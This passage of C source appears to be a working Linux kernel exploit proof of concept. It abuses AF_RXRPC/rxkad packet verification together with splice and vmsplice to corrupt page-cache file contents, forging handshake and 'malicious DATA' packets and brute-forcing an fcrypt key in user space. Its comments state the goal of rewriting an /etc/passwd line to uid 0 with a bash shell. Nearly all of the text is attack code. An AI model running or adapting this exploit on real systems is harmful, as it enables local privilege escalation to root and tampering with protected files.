  673.     if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; }
  674.     if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
  675.                 keyname, strlen(keyname)) < 0) {
  676.         WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1;
  677.     }
  678.     int min_level = RXRPC_SECURITY_AUTH;
  679.     if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
  680.                 &min_level, sizeof(min_level)) < 0) {
  681.         WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno));
  682.         close(fd); return -1;
  683.     }
  684.     struct sockaddr_rxrpc srx = {0};
  685.     srx.srx_family = AF_RXRPC;
  686.     srx.srx_service = 0;
  687.     srx.transport_type = SOCK_DGRAM;
  688.     srx.transport_len = sizeof(struct sockaddr_in);
  689.     srx.transport.sin.sin_family = AF_INET;
  690.     srx.transport.sin.sin_port = htons(local_port);
  691.     srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
  692.     if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
  693.         WARN("client bind :%u: %s", local_port, strerror(errno));
  694.         close(fd); return -1;
  695.     }
  696.     LOG("AF_RXRPC client bound :%u", local_port);
  697.     return fd;
  698. }
  699.  
  700. static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port,
  701.         uint16_t service_id,
  702.         unsigned long user_call_id)
  703. {
  704.     char data[8] = "PINGPING";
  705.     struct sockaddr_rxrpc srx = {0};
  706.     srx.srx_family = AF_RXRPC;
  707.     srx.srx_service = service_id;
  708.     srx.transport_type = SOCK_DGRAM;
  709.     srx.transport_len = sizeof(struct sockaddr_in);
  710.     srx.transport.sin.sin_family = AF_INET;
  711.     srx.transport.sin.sin_port = htons(srv_port);
  712.     srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
  713.  
  714.     char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
  715.     struct msghdr msg = {0};
  716.     msg.msg_name = &srx; msg.msg_namelen = sizeof(srx);
  717.     struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
  718.     msg.msg_iov = &iov; msg.msg_iovlen = 1;
  719.     msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
  720.     struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
  721.     cmsg->cmsg_level = SOL_RXRPC;
  722.     cmsg->cmsg_type = RXRPC_USER_CALL_ID;
  723.     cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
  724.     *(unsigned long *)CMSG_DATA(cmsg) = user_call_id;
  725.  
  726.     /* Don't block forever if no reply ever comes through this single sendmsg. */
  727.     int fl = fcntl(cli_fd, F_GETFL);
  728.     fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
  729.  
  730.     ssize_t n = sendmsg(cli_fd, &msg, 0);
  731.     fcntl(cli_fd, F_SETFL, fl);
  732.     if (n < 0) {
  733.         if (errno == EAGAIN || errno == EWOULDBLOCK) {
  734.             LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
  735.                     "retrying handshake)");
  736.             return 0;
  737.         }
  738.         WARN("client sendmsg: %s", strerror(errno));
  739.         return -1;
  740.     }
  741.     LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
  742.             n, srv_port);
  743.     return 0;
  744. }
  745.  
  746. /* =================================================================== */
  747. /* fake-server (plain UDP)                                              */
  748. /* =================================================================== */
  749.  
  750. static int setup_udp_server(uint16_t port)
  751. {
  752.     int s = socket(AF_INET, SOCK_DGRAM, 0);
  753.     if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; }
  754.     struct sockaddr_in sa = {0};
  755.     sa.sin_family = AF_INET;
  756.     sa.sin_port = htons(port);
  757.     sa.sin_addr.s_addr = htonl(0x7F000001);
  758.     if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
  759.         WARN("udp server bind :%u: %s", port, strerror(errno));
  760.         close(s); return -1;
  761.     }
  762.     LOG("plain UDP fake-server bound :%u", port);
  763.     return s;
  764. }
  765.  
  766. /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */
  767. static ssize_t udp_recv_to(int s, void *buf, size_t cap,
  768.         struct sockaddr_in *from, int timeout_ms)
  769. {
  770.     struct pollfd pfd = { .fd = s, .events = POLLIN };
  771.     int rc = poll(&pfd, 1, timeout_ms);
  772.     if (rc <= 0) return -1;
  773.     socklen_t fl = from ? sizeof(*from) : 0;
  774.     return recvfrom(s, buf, cap, 0,
  775.             (struct sockaddr *)from, from ? &fl : NULL);
  776. }
  777.  
  778. /* =================================================================== */
  779. /* main PoC                                                             */
  780. /* =================================================================== */
  781.  
  782. static int trigger_seq = 0;
  783.  
  784. static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len)
  785. {
  786.     char keyname[32];
  787.     snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
  788.  
  789.     long key = add_rxrpc_key(keyname);
  790.     if (key < 0) {
  791.         if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno));
  792.         return -1;
  793.     }
  794.  
  795.     /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */
  796.     uint16_t port_S = 7777 + (trigger_seq * 2 % 200);
  797.     uint16_t port_C = port_S + 1;
  798.     uint16_t svc_id = 1234;
  799.  
  800.     int udp_srv = setup_udp_server(port_S);
  801.     if (udp_srv < 0) {
  802.         if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S);
  803.         syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1;
  804.     }
  805.  
  806.     int rxsk_cli = setup_rxrpc_client(port_C, keyname);
  807.     if (rxsk_cli < 0) {
  808.         if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname);
  809.         close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  810.     }
  811.  
  812.     if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) {
  813.         if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed");
  814.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  815.     }
  816.  
  817.     uint8_t pkt[2048];
  818.     struct sockaddr_in cli_addr;
  819.     ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
  820.     if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) {
  821.         if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno));
  822.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  823.     }
  824.     struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt;
  825.     uint32_t epoch  = ntohl(whdr_in->epoch);
  826.     uint32_t cid    = ntohl(whdr_in->cid);
  827.     uint32_t callN  = ntohl(whdr_in->callNumber);
  828.     uint16_t svc_in = ntohs(whdr_in->serviceId);
  829.     uint16_t cli_port = ntohs(cli_addr.sin_port);
  830.  
  831.     /* Send CHALLENGE */
  832.     {
  833.         struct {
  834.             struct rxrpc_wire_header hdr;
  835.             struct rxkad_challenge   ch;
  836.         } __attribute__((packed)) c = {0};
  837.         c.hdr.epoch = htonl(epoch);
  838.         c.hdr.cid = htonl(cid);
  839.         c.hdr.callNumber = 0; c.hdr.seq = 0;
  840.         c.hdr.serial = htonl(0x10000);
  841.         c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE;
  842.         c.hdr.securityIndex = 2;
  843.         c.hdr.serviceId = htons(svc_in);
  844.         c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
  845.         c.ch.min_level = htonl(1);
  846.         struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port),
  847.             .sin_addr.s_addr=htonl(0x7F000001) };
  848.         if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) {
  849.             close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  850.         }
  851.     }
  852.  
  853.     /* Drain RESPONSE (best-effort) */
  854.     for (int i = 0; i < 4; i++) {
  855.         struct sockaddr_in src;
  856.         if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
  857.     }
  858.  
  859.     /* csum + cksum with CURRENT SESSION_KEY */
  860.     uint8_t csum_iv[8] = {0};
  861.     if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) {
  862.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  863.     }
  864.     uint16_t cksum_h = 0;
  865.     if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) {
  866.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  867.     }
  868.  
  869.     /* Build malicious DATA header */
  870.     struct rxrpc_wire_header mal = {0};
  871.     mal.epoch = htonl(epoch);
  872.     mal.cid = htonl(cid);
  873.     mal.callNumber = htonl(callN);
  874.     mal.seq = htonl(1);
  875.     mal.serial = htonl(0x42000);
  876.     mal.type = RXRPC_PACKET_TYPE_DATA;
  877.     mal.flags = RXRPC_LAST_PACKET;
  878.     mal.securityIndex = 2;
  879.     mal.cksum = htons(cksum_h);
  880.     mal.serviceId = htons(svc_in);
  881.  
  882.     /* connect udp_srv → client port for splice */
  883.     struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port),
  884.         .sin_addr.s_addr=htonl(0x7F000001) };
  885.     if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) {
  886.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  887.     }
  888.  
  889.     /* pipe + vmsplice header + splice file → pipe → udp_srv */
  890.     int p[2];
  891.     if (pipe(p) < 0) {
  892.         close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
  893.     }
  894.     {
  895.         struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
  896.         if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail;
  897.     }
  898.     {
  899.         loff_t off = splice_off;
  900.         if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
  901.             goto trig_fail;
  902.     }
  903.     if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) {
  904.         goto trig_fail;
  905.     }
  906.     close(p[0]); close(p[1]);
  907.  
  908.     /* recvmsg the malicious DATA into the kernel's verify_packet path */
  909.     int fl = fcntl(rxsk_cli, F_GETFL);
  910.     fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK);
  911.     for (int round = 0; round < 5; round++) {
  912.         char rb[2048];
  913.         struct sockaddr_rxrpc srx;
  914.         char ccb[256];
  915.         struct msghdr m = {0};
  916.         struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
  917.         m.msg_name = &srx; m.msg_namelen = sizeof(srx);
  918.         m.msg_iov = &iv;  m.msg_iovlen = 1;
  919.         m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
  920.         ssize_t r = recvmsg(rxsk_cli, &m, 0);
  921.         if (r > 0) break;
  922.         if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
  923.         else break;
  924.     }
  925.     fcntl(rxsk_cli, F_SETFL, fl);
  926.  
  927.     close(rxsk_cli);
  928.     close(udp_srv);
  929.     syscall(SYS_keyctl, 3, key);
  930.     return 0;
  931.  
  932. trig_fail:
  933.     close(p[0]); close(p[1]);
  934.     close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key);
  935.     return -1;
  936. }
  937.  
  938. /* ===================================================================
  939.  * USER-SPACE pcbc(fcrypt) BRUTE-FORCE
  940.  *
  941.  * The kernel's rxkad_verify_packet_1() does an in-place 8-byte
  942.  * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice
  943.  * offset.  pcbc with single 8-B block and IV=0 reduces to a plain
  944.  * fcrypt_decrypt(C, K).  We can therefore search for the right K
  945.  * entirely in user-space — without touching the kernel/VM at all —
  946.  * before applying ONE deterministic kernel trigger.
  947.  *
  948.  * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH).
  949.  * Verified against kernel test vectors:
  950.  *   K=0,         decrypt(0E0900C73EF7ED41) = 00000000
  951.  *   K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0
  952.  * =================================================================== */
  953.  
  954. static const uint8_t fc_sbox0_raw[256] = {
  955.     0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06,
  956.     0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3,
  957.     0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53,
  958.     0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd,
  959.     0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15,
  960.     0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24,
  961.     0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51,
  962.     0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44,
  963.     0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7,
  964.     0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0,
  965.     0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6,
  966.     0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1,
  967.     0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5,
  968.     0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64,
  969.     0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03,
  970.     0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e,
  971. };
  972. static const uint8_t fc_sbox1_raw[256] = {
  973.     0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85,
  974.     0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39,
  975.     0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99,
  976.     0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6,
  977.     0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa,
  978.     0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc,
  979.     0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d,
  980.     0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17,
  981.     0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a,
  982.     0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5,
  983.     0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52,
  984.     0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30,
  985.     0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96,
  986.     0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7,
  987.     0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78,
  988.     0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80,
  989. };
  990. static const uint8_t fc_sbox2_raw[256] = {
  991.     0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d,
  992.     0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24,
  993.     0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce,
  994.     0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68,
  995.     0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0,
  996.     0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d,
  997.     0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34,
  998.     0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc,
  999.     0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40,
  1000.     0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15,
  1001.     0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99,
  1002.     0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a,
  1003.     0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f,
  1004.     0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa,
  1005.     0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59,
  1006.     0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86,
  1007. };
  1008. static const uint8_t fc_sbox3_raw[256] = {
  1009.     0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12,
  1010.     0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b,
  1011.     0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82,
  1012.     0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16,
  1013.     0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4,
  1014.     0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2,
  1015.     0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65,
  1016.     0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4,
  1017.     0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f,
  1018.     0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85,
  1019.     0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05,
  1020.     0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0,
  1021.     0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f,
  1022.     0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3,
  1023.     0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f,
  1024.     0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25,
  1025. };
  1026.  
  1027. static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
  1028.  
  1029. #include <endian.h>
  1030.  
  1031. static void fcrypt_init_sboxes(void)
  1032. {
  1033.     for (int i = 0; i < 256; i++) {
  1034.         fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3);
  1035.         fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) |
  1036.                 ((uint32_t)fc_sbox1_raw[i] >> 5));
  1037.         fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11);
  1038.         fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19);
  1039.     }
  1040. }
  1041.  
  1042. #define fc_ror56_64(k, n) \
  1043.     (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
  1044.  
  1045. typedef struct { uint32_t sched[16]; } fcrypt_uctx;
  1046.  
  1047. static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8])
  1048. {
  1049.     uint64_t k = 0;
  1050.     k  = (uint64_t)(key[0] >> 1);
  1051.     k <<= 7; k |= (uint64_t)(key[1] >> 1);
  1052.     k <<= 7; k |= (uint64_t)(key[2] >> 1);
  1053.     k <<= 7; k |= (uint64_t)(key[3] >> 1);
  1054.     k <<= 7; k |= (uint64_t)(key[4] >> 1);
  1055.     k <<= 7; k |= (uint64_t)(key[5] >> 1);
  1056.     k <<= 7; k |= (uint64_t)(key[6] >> 1);
  1057.     k <<= 7; k |= (uint64_t)(key[7] >> 1);
  1058.  
  1059.     ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1060.     ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1061.     ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1062.     ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1063.     ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1064.     ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1065.     ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1066.     ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1067.     ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1068.     ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1069.     ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1070.     ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1071.     ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1072.     ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1073.     ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
  1074.     ctx->sched[0xf] = htobe32((uint32_t)k);
  1075. }
  1076.  
  1077. #define FC_F(R_, L_, sched_) do {                                        \
  1078.     union { uint32_t l; uint8_t c[4]; } u;                               \
  1079.     u.l = (sched_) ^ (R_);                                               \
  1080.     L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^                          \
  1081.     fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]];                           \
  1082. } while (0)
  1083.  
  1084. static void fcrypt_user_decrypt(const fcrypt_uctx *ctx,
  1085.         uint8_t out[8], const uint8_t in[8])
  1086. {
  1087.     uint32_t L, R;
  1088.     memcpy(&L, in, 4);
  1089.     memcpy(&R, in + 4, 4);
  1090.     FC_F(L, R, ctx->sched[0xf]);
  1091.     FC_F(R, L, ctx->sched[0xe]);
  1092.     FC_F(L, R, ctx->sched[0xd]);
  1093.     FC_F(R, L, ctx->sched[0xc]);
  1094.     FC_F(L, R, ctx->sched[0xb]);
  1095.     FC_F(R, L, ctx->sched[0xa]);
  1096.     FC_F(L, R, ctx->sched[0x9]);
  1097.     FC_F(R, L, ctx->sched[0x8]);
  1098.     FC_F(L, R, ctx->sched[0x7]);
  1099.     FC_F(R, L, ctx->sched[0x6]);
  1100.     FC_F(L, R, ctx->sched[0x5]);
  1101.     FC_F(R, L, ctx->sched[0x4]);
  1102.     FC_F(L, R, ctx->sched[0x3]);
  1103.     FC_F(R, L, ctx->sched[0x2]);
  1104.     FC_F(L, R, ctx->sched[0x1]);
  1105.     FC_F(R, L, ctx->sched[0x0]);
  1106.     memcpy(out, &L, 4);
  1107.     memcpy(out + 4, &R, 4);
  1108. }
  1109.  
  1110. /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
  1111.  * shell field that equals "/bin/bash" (in /etc/shells, valid path).
  1112.  * The two splices interlock as:
  1113.  *
  1114.  *   bytes 7..14  (offset 2800): P1 — sets uid=0, gid=1 digit, then
  1115.  *                4 random gecos-prefix bytes.
  1116.  *   bytes 15..22 (offset 2808): P2 — wipes the original ':' at line
  1117.  *                pos 16, preserves ':' at pos 21 and '/' at pos 22.
  1118.  *
